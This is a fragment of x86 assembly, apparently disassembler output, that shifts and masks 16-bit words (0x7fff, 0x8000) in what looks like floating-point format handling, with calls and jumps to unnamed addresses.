shl edx, 7
mov ebp, dword [esp + 0x44]
mov ebx, ecx
movzx ecx, word [esp + 0x3e]
and bx, 0x7fff
and cx, 0x8000
or ecx, ebx
mov word [esp + 0x3e], cx
shr cx, 8
and ecx, 0x7f
or edx, ecx
mov ecx, 2
mov byte [esp + 0x3f], dl
mov edx, dword [esp + 0x40]
mov ebx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], eax
call fcn.6d0c7b40
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
jmp 0x6d0cfe68
test ebx, ebx
je 0x6d0cffa5
mov ecx, ebx
movzx edx, byte [esp + 0x18]
mov esi, ebx
shr ecx, 7
xor ebp, ebp
shl esi, 0x19
or ch, 0x80
mov word [esp + 0x3c], cx
movzx ecx, word [esp + 0x3e]
shl edx, 7
or cx, 0x7fff
mov word [esp + 0x3e], cx
shr cx, 8
and ecx, 0x7f
or edx, ecx
mov byte [esp + 0x3f], dl
xor edx, edx
and edi, 0x400000
mov ebx, dword [esp + 0x3c]
jne 0x6d0cfe68
mov ecx, 1
jmp 0x6d0cff32
mov ebx, 0x7fff
xor edi, edi
jmp 0x6d0cfe35
xor ebx, ebx
xor edi, edi
jmp 0x6d0cfe35
mov ecx, 3
sub ecx, esi
cmp esi, 2
mov ecx, dword [esp + ecx*4 + 0x40]
mov dword [esp + 0x4c], ecx
jne 0x6d0cffd8
mov dword [esp + 0x48], ebx
mov esi, edx
sub esi, 1
jmp 0x6d0cfed0
mov esi, 2
mov edx, 3
jmp 0x6d0cfec8